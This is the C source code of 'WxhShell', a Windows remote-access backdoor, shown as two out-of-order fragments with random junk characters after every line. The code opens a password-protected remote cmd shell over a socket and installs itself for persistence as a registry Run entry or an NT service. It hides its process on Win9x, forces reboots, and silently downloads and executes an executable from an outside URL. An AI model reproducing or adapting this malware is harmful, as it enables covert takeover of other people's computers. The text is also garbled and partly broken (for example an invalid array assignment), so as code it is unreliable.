    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1]wo    
    else { (RBB0CE  
    closesocket(wsh); 1Xkl.FcFw  
    ExitThread(0); g/W&Ap;qVL  
    } Da)H/3ii  
    break; n.b_fkZNr  
    } )~{8C:  
  // 获取shell *?x[pqGq  
  case 's': { VD90JU]X<  
    CmdShell(wsh); m5%E1k$=  
    closesocket(wsh); TNF+yj-|X:  
    ExitThread(0); iI$;%uY3g  
    break; k fY 0u  
  } wu;^fL  
  // 退出 M!b-;{;'  
  case 'x': { lhBu?q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ro.br:'Bw  
    CloseIt(wsh); P_F0lO  
    break; }Ryrd!3bY  
    } [l*;+N+  
  // 离开 APv& ^\oUH  
  case 'q': { Rebo.6rG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IWT -)+  
    closesocket(wsh); !a7YM4D  
    WSACleanup(); _ YcIG OL  
    exit(1); CTf39R|7_  
    break; ,aU8. J_U  
        } THcX.%ToT  
  } [N_)V kpr  
  } jyFKO[s\X  
m~`f0  
  // 提示信息 4Jk[X>I~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o<L=l Q  
} _}l7f  
  } X_(n  
b" kL)DL1L  
  return; >/9Qgyc 0  
} ~mvD|$1z  
a\xf\$Ym  
// shell模块句柄 DoFF<LXBt  
int CmdShell(SOCKET sock) +<^c2diX  
{ ZJOO*S  
STARTUPINFO si; )P#xny2  
ZeroMemory(&si,sizeof(si)); xsRu~'f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uC5W1LyI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p&lT! 5P!A  
PROCESS_INFORMATION ProcessInfo; PcEE@W9  
char cmdline[]="cmd"; jP )VTk_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /MbWS(RT  
  return 0; _53N uEM1  
} K[[ 5H  
wF)g@cw  
// 自身启动模式 "q7pkxEuJ  
int StartFromService(void) [W8?ww%qT  
{ n7,LfO#  
typedef struct '&F Pk T:5  
{ !4}Wp.  
  DWORD ExitStatus; HEs.pET\  
  DWORD PebBaseAddress; 13MB1n  
  DWORD AffinityMask; -f=4\3y3p  
  DWORD BasePriority; g]PC6xr38  
  ULONG UniqueProcessId; 3|vZ `}  
  ULONG InheritedFromUniqueProcessId; [w}KjV/yi  
}   PROCESS_BASIC_INFORMATION; s>a(#6Q  
t}2M8ue(&  
PROCNTQSIP NtQueryInformationProcess; r~;TId} #  
DC,]FmWs!+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uE&2M>2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ta)6ly7'  
PHg(O:3WG  
  HANDLE             hProcess; o(Q='kK  
  PROCESS_BASIC_INFORMATION pbi; */ok]kX'  
43/!pW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BF(Kaf;<t.  
  if(NULL == hInst ) return 0; SAUG+{Uq  
1V;m8)RF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ya ~lPc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l/6(V:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W-ol*S  
F5YHc$3^  
  if (!NtQueryInformationProcess) return 0; =f=,YcRn+  
3NlG,e'T2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '9 Xw_1B  
  if(!hProcess) return 0; OYY_@'D  
QUi=ZD1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jHM}({)-  
1w|u ^[~u\  
  CloseHandle(hProcess); z{G@t0q  
G-G\l?R(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Wfj*)j Q  
if(hProcess==NULL) return 0; 3R[,,WAj$  
(d}z>?L  
HMODULE hMod; Q) Y&h'.(  
char procName[255]; <j^"=UN4#  
unsigned long cbNeeded; @EGUQ|WL^  
'DCB 7T8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d<>jhp5el  
J7$JW3O  
  CloseHandle(hProcess); ul ag$ge  
zHt}`>y&  
if(strstr(procName,"services")) return 1; // 以服务启动 .6y(ox|LL  
G FO(O  
  return 0; // 注册表启动  #)28ESj  
} 0?\d%J!"S  
/r mm@  
// 主模块 \I~9%QJ>  
int StartWxhshell(LPSTR lpCmdLine) TDjjaO  
{ vV /fTO  
  SOCKET wsl; `yWWX.`  
BOOL val=TRUE; ^*+-0b;[G  
  int port=0; .="[In '  
  struct sockaddr_in door; w\Bx=a>vc  
4P$#m<;t  
  if(wscfg.ws_autoins) Install(); XjV,wsZ=  
w@\quy:  
port=atoi(lpCmdLine); 7|$ H}$  
A]mXV4RmI  
if(port<=0) port=wscfg.ws_port; jBnvu@K"  
x#&%lJT  
  WSADATA data; 7Jvb6V<R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PU{7s  
3&vUR(10  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4 n\dh<uY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,L,?xvWG  
  door.sin_family = AF_INET; zFGZ;?i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SBqx_4}  
  door.sin_port = htons(port); *<T,Fyc|  
K)8N8Js(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4f{(Scg  
closesocket(wsl); ]Qb85;0)  
return 1; } l4d/I  
} _9Y7. 5  
B;mt11M  
  if(listen(wsl,2) == INVALID_SOCKET) { @(Y+W2Iyy+  
closesocket(wsl); tx01*2]pX  
return 1; }!0nb)kL  
} "N4rh<<  
  Wxhshell(wsl); f3Cjj]RFv  
  WSACleanup(); UkV{4*E  
)4/227b/(  
return 0; @Zd/>'  
ZsikI@?  
} CkA ~'&C  
4Js9"<w  
// 以NT服务方式启动 [MVG\6Up(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ib665H7w  
{ sVJwe\!  
DWORD   status = 0; e.:SBXZ  
  DWORD   specificError = 0xfffffff; <xWBS/K  
@f wk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !O~5<tA[#1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |6}:n,KA.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Sx%vJYH0  
  serviceStatus.dwWin32ExitCode     = 0; Sxw%6Va]p  
  serviceStatus.dwServiceSpecificExitCode = 0; hWqI*xSaJ  
  serviceStatus.dwCheckPoint       = 0; " O,TL *$  
  serviceStatus.dwWaitHint       = 0; Q\4nduQ  
"mm|0PUJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 56R)631]p  
  if (hServiceStatusHandle==0) return; Q #%C)7)  
@hE$x-TP0  
status = GetLastError(); h#iFp9N  
  if (status!=NO_ERROR) ZT;:Hxv0N  
{ 0Zv<]xO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;\5^yDv[e  
    serviceStatus.dwCheckPoint       = 0; ssy+x;<x,  
    serviceStatus.dwWaitHint       = 0; Lp?JSMe  
    serviceStatus.dwWin32ExitCode     = status; q:D!@+U  
    serviceStatus.dwServiceSpecificExitCode = specificError; LVj62&,-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $2j?Z.yEG  
    return; ?NL>xMA  
  }  #FfUkV  
4vk^=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cPgz?,hE  
  serviceStatus.dwCheckPoint       = 0; ]JXpe]B  
  serviceStatus.dwWaitHint       = 0; 5c~OG6COx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FOU^Wcop%  
} C/!c?$J  
K(M@#t1_&  
// 处理NT服务事件,比如:启动、停止 &sRjs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E'g2<k  
{ >{dj6Wo  
switch(fdwControl) ?/,sKF74i  
{ dU~DlaEy(  
case SERVICE_CONTROL_STOP: Fq<;-  
  serviceStatus.dwWin32ExitCode = 0; 2-3|0<`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6jIW)C  
  serviceStatus.dwCheckPoint   = 0; = yH#Iil  
  serviceStatus.dwWaitHint     = 0; G'>z~I]6S  
  { NI^[7.2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IiV#V  
  } (HUGgX"=  
  return; ;-koMD!2F  
case SERVICE_CONTROL_PAUSE: ;S FmbZ%~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lilKYrUmG  
  break; qOKC2WD  
case SERVICE_CONTROL_CONTINUE: ]eJjffx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !:[kS1s>M  
  break; tilL7  
case SERVICE_CONTROL_INTERROGATE: j aj."v  
  break; `euk&]/^.)  
}; +=y ktf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ms%Ot:uA  
} (]yOd/ru/C  
*1L;%u| [  
// 标准应用程序主函数 @a1+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?'_Q^O>  
{ z5CWgN  
q?=eD^]  
// 获取操作系统版本 c !ybz{L  
OsIsNt=GetOsVer(); ZZa$/q"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z.9 #AN=&[  
EuAJ.n  
  // 从命令行安装 "KY9MBzPD  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'ErtiD  
(\si/&  
  // 下载执行文件 fU+A~oL%I  
if(wscfg.ws_downexe) { {GS7J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `NC{+A  
  WinExec(wscfg.ws_filenam,SW_HIDE); }xl @:Qo  
} p1=sDsLL  
Ah2%LXdHA  
if(!OsIsNt) { *n)3y.s  
// 如果时win9x,隐藏进程并且设置为注册表启动 r"a4 ;&mf  
HideProc(); ; b2)WM:  
StartWxhshell(lpCmdLine); 7^bO`  
} w@P c7$EP  
else (YjY=F  
  if(StartFromService()) Uv6#d":f;  
  // 以服务方式启动 .&ynS  
  StartServiceCtrlDispatcher(DispatchTable); h-1eDxK6  
else  _"ysJ&  
  // 普通方式启动 \jdpL1  
  StartWxhshell(lpCmdLine); :B=p%C  
Kl[WscR  
return 0; XV2f|8d>  
} fN8|4  
6 m5\f  
ms=I lz  
3ySP*J5  
=========================================== ;6o p|  
877>=Tp |  
Pl=X<Bp  
Dg_/Iu>OAE  
(U/xpj}  
DVYY1!j<  
" q_8qowu"  
+:2(xgOP.V  
#include <stdio.h> 2-| oN/FD  
#include <string.h> _Gy*";E  
#include <windows.h> :~ 3/  
#include <winsock2.h> TA=Ij,z~  
#include <winsvc.h> ,\5]n&T;r  
#include <urlmon.h> Vkex&?>v$  
#jV6w=I  
#pragma comment (lib, "Ws2_32.lib") Mi\f?  
#pragma comment (lib, "urlmon.lib") S8" h9|  
EX8:B.z`57  
#define MAX_USER   100 // 最大客户端连接数 J#CF SG  
#define BUF_SOCK   200 // sock buffer t=~5 I >  
#define KEY_BUFF   255 // 输入 buffer nTj Q4y  
.1MXQLy  
#define REBOOT     0   // 重启 EOV<|WF>  
#define SHUTDOWN   1   // 关机 =o=)EU{~  
=,I,K=+_x  
#define DEF_PORT   5000 // 监听端口 vKDPg p<j  
8oY0?|_Bx  
#define REG_LEN     16   // 注册表键长度 ||7r'Q  
#define SVC_LEN     80   // NT服务名长度 Zx<s-J4o=w  
Z{RgpVt  
// 从dll定义API hNFMuv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Dw{C_e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VLtb16|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SDV} bN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "P< drz<  
_y`'T;~OY  
// wxhshell配置信息 A0S6 4(  
struct WSCFG { 1K,bmb xRt  
  int ws_port;         // 监听端口 qO>BF/)a(  
  char ws_passstr[REG_LEN]; // 口令 2:i`,  
  int ws_autoins;       // 安装标记, 1=yes 0=no qwA: o-q"  
  char ws_regname[REG_LEN]; // 注册表键名 Zx5vIm  
  char ws_svcname[REG_LEN]; // 服务名 =#1iio&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D6_16PJE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 33couAP#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }?>30+42:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z]\0]i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lbg!B4,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |U$oS2U\m  
,Mc}U9)F  
}; &nj@t>5Bs$  
av wU)6L  
// default Wxhshell configuration 1k l4X3q6  
struct WSCFG wscfg={DEF_PORT, g9I2SdaJ  
    "xuhuanlingzhe", vK#xA+W  
    1, fCZbIt)Eh  
    "Wxhshell", ~&k1P:#R  
    "Wxhshell", ~z>2`^Z"  
            "WxhShell Service", RsVba!x@  
    "Wrsky Windows CmdShell Service", =g/K>B  
    "Please Input Your Password: ", GS$OrUA  
  1, )0PUK9  
  "http://www.wrsky.com/wxhshell.exe", ;wDcYs  
  "Wxhshell.exe" ^`=Z=C$fj  
    }; G?=X!up(  
H@__%KBw  
// 消息定义模块 +t/ VF(!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~mK9S^[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; KWy4}7a@,s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MsX`TOyO!  
char *msg_ws_ext="\n\rExit."; E'Egc4Z2=l  
char *msg_ws_end="\n\rQuit."; |)pT"`  
char *msg_ws_boot="\n\rReboot..."; H*yX Iq:  
char *msg_ws_poff="\n\rShutdown..."; PWLMux  
char *msg_ws_down="\n\rSave to "; >F,~QHcz  
v"_hWJ)  
char *msg_ws_err="\n\rErr!"; (sO;etW  
char *msg_ws_ok="\n\rOK!"; YG?W8)T  
5H==m~  
char ExeFile[MAX_PATH]; 8Z/P<u  
int nUser = 0; `6 lc]r  
HANDLE handles[MAX_USER]; #i.M-6SRd  
int OsIsNt; t 7;V`[  
L4}C%c\p*  
SERVICE_STATUS       serviceStatus; ZxbWgM5rm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v8 ggPI  
.yQDW]q81G  
// 函数声明 InNuK0@  
int Install(void);  uGc}^a2  
int Uninstall(void); hRxR2  
int DownloadFile(char *sURL, SOCKET wsh); )"A+T&  
int Boot(int flag); C#>c(-p>RC  
void HideProc(void); J h M.P9  
int GetOsVer(void); aQ]C`9k  
int Wxhshell(SOCKET wsl); gjvKrg  
void TalkWithClient(void *cs); #\@*C=  
int CmdShell(SOCKET sock); E;D9S  
int StartFromService(void); e][U ;  
int StartWxhshell(LPSTR lpCmdLine); : B$ d  
GJ ZT~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QF'N8Kla  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [P)HVFy|l  
(tx6U.Oy  
// 数据结构和表定义 id&;  
SERVICE_TABLE_ENTRY DispatchTable[] = [)# ,~L3  
{ J'b *^K  
{wscfg.ws_svcname, NTServiceMain}, 7DKbuUK  
{NULL, NULL} W84JB3p  
}; >UZfi u  
/V2 ^/`&;a  
// 自我安装 z~L(kf4  
int Install(void) VCNg`6!x  
{ 5R/k -h^`  
  char svExeFile[MAX_PATH]; f77Jn^Dt  
  HKEY key; EFqWnz  
  strcpy(svExeFile,ExeFile); @lDoMm,m'  
j5G8IP_Wx  
// 如果是win9x系统,修改注册表设为自启动 <8+.v6DCd  
if(!OsIsNt) { C:0Ra^i ?L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DE^{8YX,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K.",=\53  
  RegCloseKey(key); HPg@yx"U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #l+U(zH:JG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,g 6w2y7 ]  
  RegCloseKey(key); /b@8#px  
  return 0; GO+cCNMa"  
    } bh3}[O,L A  
  } u! x9O8y  
} JN$v=Ox{  
else { nRPy)L{  
iaLsIy#h  
// 如果是NT以上系统,安装为系统服务 SwV0q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SLD%8:Zn  
if (schSCManager!=0) ]xCJ3.9  
{ Ym8G=KA  
  SC_HANDLE schService = CreateService O0i_h<T  
  ( o(u&n3Q'  
  schSCManager, '_@Y  
  wscfg.ws_svcname, T7'njaLec  
  wscfg.ws_svcdisp, im Zi7o  
  SERVICE_ALL_ACCESS, B ;9^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^j0Mu.+_  
  SERVICE_AUTO_START, ~kD/dXt  
  SERVICE_ERROR_NORMAL, (lTM5qC  
  svExeFile, 0 j:8 Ve  
  NULL, .Xc, Gq{  
  NULL, nz3j";d  
  NULL, g>1yQ  
  NULL, M-e!F+d{od  
  NULL VL?ubt<  
  ); )~rf x  
  if (schService!=0) |ITp$  _S  
  { sbjAZzrX2i  
  CloseServiceHandle(schService); <IC=x(T  
  CloseServiceHandle(schSCManager); 26G2. /**<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SsIy;l  
  strcat(svExeFile,wscfg.ws_svcname); <%8j#@OdZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cuO(*%Is1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9gZMfP  
  RegCloseKey(key); |h\e(_G \  
  return 0; ra0:Lg'  
    } *!$4   
  } (CJiCtAsl`  
  CloseServiceHandle(schSCManager); X};m\Bz  
} r/$+'~apTk  
} c*-8h{}  
pEuZsQ  
return 1; D^baXp8  
} J}c57$Z  
wZJpSkcEx  
// 自我卸载 ug'I:#@2  
int Uninstall(void) jr bEJ.  
{ W2D^%;mw  
  HKEY key; GpMKOjVm|  
`MA ee8u'  
if(!OsIsNt) { HgvgO\`]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gbsRf&4h  
  RegDeleteValue(key,wscfg.ws_regname); y>Zvose  
  RegCloseKey(key); K kP}z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1P. W 34  
  RegDeleteValue(key,wscfg.ws_regname); K_{f6c<  
  RegCloseKey(key); HJhPd#xCW  
  return 0; jL(=<R(~y  
  } -wH#B<'  
} / *RDy!m  
} 7g[m,48{  
else { >6*"g{/  
}zY)H9J~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #s$b\"4  
if (schSCManager!=0) 1P#bR`I >  
{ 1L]7*NJe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3~z4#8=  
  if (schService!=0) ,d(F|5 M:  
  { +0rMv  
  if(DeleteService(schService)!=0) { T]Gxf"mK  
  CloseServiceHandle(schService); C)~YWx@v  
  CloseServiceHandle(schSCManager); x%23oPM  
  return 0; `zGK$,[%  
  } 3 $ cDC8  
  CloseServiceHandle(schService); =2] .G Gg  
  } dB+x,+%u+  
  CloseServiceHandle(schSCManager); ?VrZM  
} r5jiB L~  
} >!s =f  
$/90('D  
return 1; f#_XR  
} kT@RA}  
j/4N  
// 从指定url下载文件 d"<Q}Ay  
int DownloadFile(char *sURL, SOCKET wsh) ^.5 L\  
{ DQ :w9  
  HRESULT hr; )f-ux5  
char seps[]= "/"; 0#lw?sv  
char *token; _QbLg"O  
char *file; mr6/d1af_  
char myURL[MAX_PATH]; F`S OF O  
char myFILE[MAX_PATH]; 79U Th@r}  
GenkYtS  
strcpy(myURL,sURL); e48`cX\E  
  token=strtok(myURL,seps); YLmzMD>  
  while(token!=NULL) .281;] =  
  { P*oKcq1R  
    file=token; j}uFp|df<  
  token=strtok(NULL,seps); gYVk5d|8@4  
  } GE]fBg  
Bj09?#~[  
GetCurrentDirectory(MAX_PATH,myFILE); &sR=N60n  
strcat(myFILE, "\\"); sfNXIEr^  
strcat(myFILE, file); AVVL]9b_2  
  send(wsh,myFILE,strlen(myFILE),0); A"x1MjuqLM  
send(wsh,"...",3,0); gvvl3`S{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zvf:*Na")  
  if(hr==S_OK) ;F9<Yv  
return 0; b }S}OW2  
else |Ak>kQJ(1z  
return 1; eZWN9#p2  
M[$(Pu  
} Qna ^Ry?6)  
!-b4@=f:  
// 系统电源模块 ,cPNZ-%  
int Boot(int flag) rLs)*A!  
{ Y^m2ealC  
  HANDLE hToken; +N5#EpW  
  TOKEN_PRIVILEGES tkp; 2ME"=! &5  
0JQy-hpF  
  if(OsIsNt) { :_JZn`Cab  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IG0$OtG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :VP4|H#SP  
    tkp.PrivilegeCount = 1; })!d4EcZf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G3n* bv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kKVd4B[#*  
if(flag==REBOOT) { %[\: 8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jK/2n}q&]  
  return 0; H1_XEcaM+*  
} s|rlpd4y  
else { (__=*ew  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K]' 84!l  
  return 0; qb(#{Sw0  
} 4[a?. .X  
  } 9+"D8J7  
  else { Q W#]i  
if(flag==REBOOT) { r`XIn#o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \s?OvqI:  
  return 0; V2sWcV?  
} !Rk1q&U5  
else { y ,isK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `l@[8H%aw  
  return 0; "r @RDw   
} $ r|R`n=  
} gS4zX>rqe  
A`<#}~A  
return 1;  hLFf  
} GHj1G,L@\  
F>jPr8&  
// win9x进程隐藏模块 ~t[ #p:  
void HideProc(void) 0}Rxe  
{ E]w1!Ah M  
'Wjuv9)/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H `y.jSNi  
  if ( hKernel != NULL ) H+vONg  
  { i$;GEM}tv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y(GH/jw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yjs5=\@  
    FreeLibrary(hKernel); J"QXu M  
  } _H}y7  
%])-+T  
return; xEQ2iCeC  
} txQyHQ)@  
Z l.}=  
// 获取操作系统版本 EQ`;=I3J9y  
int GetOsVer(void) kf\n  
{ wVkms  
  OSVERSIONINFO winfo; '<~rV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w]]`/`  
  GetVersionEx(&winfo); d=V4,:=S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W[PZQCL}K)  
  return 1; IF~i*  
  else :0IxnK(r&  
  return 0; _'<V<OjVM!  
} g0Qg]F5D~  
;KJJK#j  
// 客户端句柄模块 kRs[H xI3  
int Wxhshell(SOCKET wsl) ~r;da9  
{ 5MV4N[;  
  SOCKET wsh; &;L4Cj$ q  
  struct sockaddr_in client; }MP2)6  
  DWORD myID; FP<RoA? W  
$l-|abLELz  
  while(nUser<MAX_USER) f gI.q  
{ P`6 T;|VDk  
  int nSize=sizeof(client); 75i M_e\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {`QF(WL  
  if(wsh==INVALID_SOCKET) return 1; ^Dhj<_  
o^dt# &  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S+H#^WSt  
if(handles[nUser]==0) 7iu?Q  
  closesocket(wsh); W!q 'wrIx(  
else ;e;lPM{+  
  nUser++; *- $u\?$  
  } /]%,C   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u^a\02aV[  
ya5a7  
  return 0; #3u3WTk+  
} 8+Al+6d|!  
.B*Yg<j  
// 关闭 socket hu~02v5  
void CloseIt(SOCKET wsh) EquNg@25W  
{ nP?=uGqCBq  
closesocket(wsh); IIeEe7%#  
nUser--; _?<Y>B, E  
ExitThread(0); 'D%No!+Py  
} !VpZo*+   
^y'xcq  
// 客户端请求句柄 q)gZo[]~  
void TalkWithClient(void *cs) W> .O"Ri  
{ 2!>phE  
&:=   
  SOCKET wsh=(SOCKET)cs; Gp9 >R~$  
  char pwd[SVC_LEN]; {YZ)IaqZ  
  char cmd[KEY_BUFF]; G&:[G>iSm^  
char chr[1]; }hyK/QUCoN  
int i,j; ac>}$Uw)  
1  6;l,@  
  while (nUser < MAX_USER) { * 2[&26D  
mXlXB#N  
if(wscfg.ws_passstr) { }Bw=2 ~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _Ptf^+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fI`T3Y!7  
  //ZeroMemory(pwd,KEY_BUFF); ?15k~1nA  
      i=0; 'j#oMA{0  
  while(i<SVC_LEN) { F3jrJ+nJ  
XOa<R  
  // 设置超时 8F($RnP3  
  fd_set FdRead; RBr  
  struct timeval TimeOut; @dX0gHU[c  
  FD_ZERO(&FdRead); U#G uB&V  
  FD_SET(wsh,&FdRead); S1uW`zQ!+_  
  TimeOut.tv_sec=8; *7oPM5J|v  
  TimeOut.tv_usec=0; D}"\nCz}y&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j)Kk:BFFY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7}Z.g9<  
QI~s~j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~] Mq'  
  pwd=chr[0]; .Y'kDuUu  
  if(chr[0]==0xd || chr[0]==0xa) { B;4hI?  
  pwd=0; -qfd)A6]  
  break; 9UOx~Ty  
  } 1j o.d  
  i++; Oz^+;P1  
    } w$A*|^w1  
^*C6]*C}te  
  // 如果是非法用户,关闭 socket SZg+5MD;X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "V~U{(Z  
} 6_;3   
_jH1Mcq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g-mK(kY4p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mDip P  
C JiMg'K  
while(1) { @SPmb o  
<<(~'$~,L  
  ZeroMemory(cmd,KEY_BUFF); }llzO  
yHQ.EZ~%  
      // 自动支持客户端 telnet标准   T7m rOp  
  j=0; ^]'p927  
  while(j<KEY_BUFF) { *-Lnsi^7v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,qiS;2(  
  cmd[j]=chr[0]; &gF{<$$  
  if(chr[0]==0xa || chr[0]==0xd) { S) V uT0  
  cmd[j]=0; 5g F}7D@  
  break; 9rB^)eV  
  } x0.&fCh%  
  j++; z-[Jbjhd  
    } {0QD-b o  
tRbZ^5x\@  
  // 下载文件 1}S_CR4XBs  
  if(strstr(cmd,"http://")) { ""D rf=]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wVE"nN#  
  if(DownloadFile(cmd,wsh)) SZG8@ !_}7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BOL_kp"   
  else 3I:DL#f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K/Q;]+D  
  } cJ]`/YJ  
  else { CvQ LF9|  
1Od: I}@  
    switch(cmd[0]) { ]*i>KR@G  
  VmBLNM?  
  // 帮助 i=o>Bl@f  
  case '?': { HxZ4t  
